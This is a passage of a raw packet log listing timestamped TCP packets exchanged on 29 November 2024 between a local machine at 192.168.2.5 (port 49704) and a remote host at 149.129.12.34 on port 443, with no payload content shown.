Nov 29, 2024 15:45:31.302042961 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.456734896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.456794977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.456886053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.456896067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.456943989 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.461550951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.461570978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.461646080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.461652994 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.461690903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.467160940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.467180014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.467233896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.467241049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.467278004 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.472665071 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.472687960 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.472765923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.472773075 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.472815037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.477526903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.477549076 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.477616072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.477622986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.477659941 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.483390093 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.483411074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.483493090 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.483500957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.483541012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.488305092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.488325119 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.488384008 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.488389969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.488436937 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.493855000 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.493876934 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.493913889 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.493921041 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.493952036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.493971109 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.590717077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.667439938 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.667465925 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.667506933 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.667515039 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.667565107 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.672693014 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.672733068 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.672760010 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.672770023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.672816992 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.677608967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.677628040 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.677659035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.677666903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.677706957 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.683115959 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.683135986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.683165073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.683177948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.683223009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.683231115 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.688647985 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.688668013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.688705921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.688711882 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.688749075 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.693829060 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.693849087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.693886042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.693893909 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.693929911 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.693943977 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.699417114 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.699439049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.699485064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.699491024 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.699525118 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.699882984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.704293966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.704313993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.704359055 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.704365969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.704397917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.704416990 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.793921947 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.877935886 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.877968073 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.877995014 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.878005028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.878026009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.878045082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.882812023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.882833958 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.882867098 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.882874966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.882905960 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.882919073 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.888403893 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.888426065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.888457060 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.888464928 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.888483047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.888504982 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.893903017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.893923044 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.893965006 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.893973112 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.893981934 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.894007921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.898756981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.898777962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.898808002 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.898814917 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.898838043 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.898858070 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.904639006 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.904659033 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.904692888 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.904699087 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.904723883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.904741049 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.909517050 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.909538031 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.909569025 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.909579992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.909596920 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.909609079 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.915108919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.915128946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.915160894 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.915170908 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:31.915184975 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.915204048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:31.922832012 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.088769913 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.088797092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.088933945 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.088954926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.088989019 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.093767881 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.093784094 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.093842983 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.093849897 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.093890905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.099436045 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.099467993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.099522114 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.099529028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.099567890 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.104275942 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.104295969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.104353905 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.104362011 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.104401112 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.109684944 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.109704971 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.109760046 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.109767914 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.109811068 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.115072966 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.115089893 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.115175009 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.115181923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.115216017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.120585918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.120603085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.120657921 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.120666027 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.120702028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.126046896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.126070023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.126122952 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.126130104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.126167059 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.299639940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.299663067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.299810886 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.299822092 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.299874067 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.304709911 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.304727077 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.304822922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.304830074 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.304873943 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.310281992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.310302973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.310379028 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.310396910 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.310448885 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.315222979 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.315239906 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.315303087 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.315310955 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.315357924 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.320766926 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.320780993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.320869923 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.320878029 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.320918083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.325953007 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.325968981 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.326044083 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.326052904 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.326097965 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.331557035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.331619978 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.331672907 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.331681013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.331718922 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.336965084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.336982012 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.337044954 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.337053061 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.337095976 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.337629080 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.510374069 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.510402918 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.510559082 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.510570049 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.510621071 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.515728951 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.515746117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.515806913 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.515815973 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.518469095 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.520864964 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.520881891 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.520945072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.520952940 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.522464991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.525834084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.525850058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.525917053 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.525923967 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.525966883 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.531418085 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.531435013 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.531493902 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.531502962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.531543970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.536463022 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.536479950 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.536541939 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.536556005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.536629915 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.537844896 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.542054892 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.542072058 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.542121887 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.542129993 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.542201042 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.547535896 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.547552109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.547599077 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.547606945 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.547677040 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.556469917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.720805883 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.720828056 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.720988035 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.721007109 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.721282959 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.726356983 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.726372957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.726459026 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.726466894 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.726547003 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.731266975 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.731283903 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.731333017 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.731340885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.731405973 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.736758947 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.736773968 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.736831903 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.736840010 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.736911058 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.742311954 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.742331028 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.742374897 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.742383957 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.742444038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.742444038 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.747462988 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.747478962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.747529984 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.747538090 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.747575045 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.753108025 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.753123999 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.753185034 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.753191948 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.754046917 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.754662037 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.757967949 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.757983923 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.758033991 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.758042097 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.758452892 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.769242048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.942569017 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.942595005 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.942661047 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.942676067 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.942697048 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.942723036 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.948086023 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.948110104 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.948157072 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.948163986 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.948194981 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.948210955 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.952975035 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.952991962 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.953032970 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.953039885 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.953067064 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.953078985 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.958615065 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.958632946 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.958703995 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.958712101 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.958758116 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.964056969 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.964080095 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.964123964 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.964131117 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.964327097 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.969237089 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.969259977 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.969299078 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.969305992 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.969329119 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.969345093 CET	49704	443	192.168.2.5	149.129.12.34
Nov 29, 2024 15:45:32.974816084 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.974834919 CET	443	49704	149.129.12.34	192.168.2.5
Nov 29, 2024 15:45:32.974868059 CET	49704	443	192.168.2.5	149.129.12.34
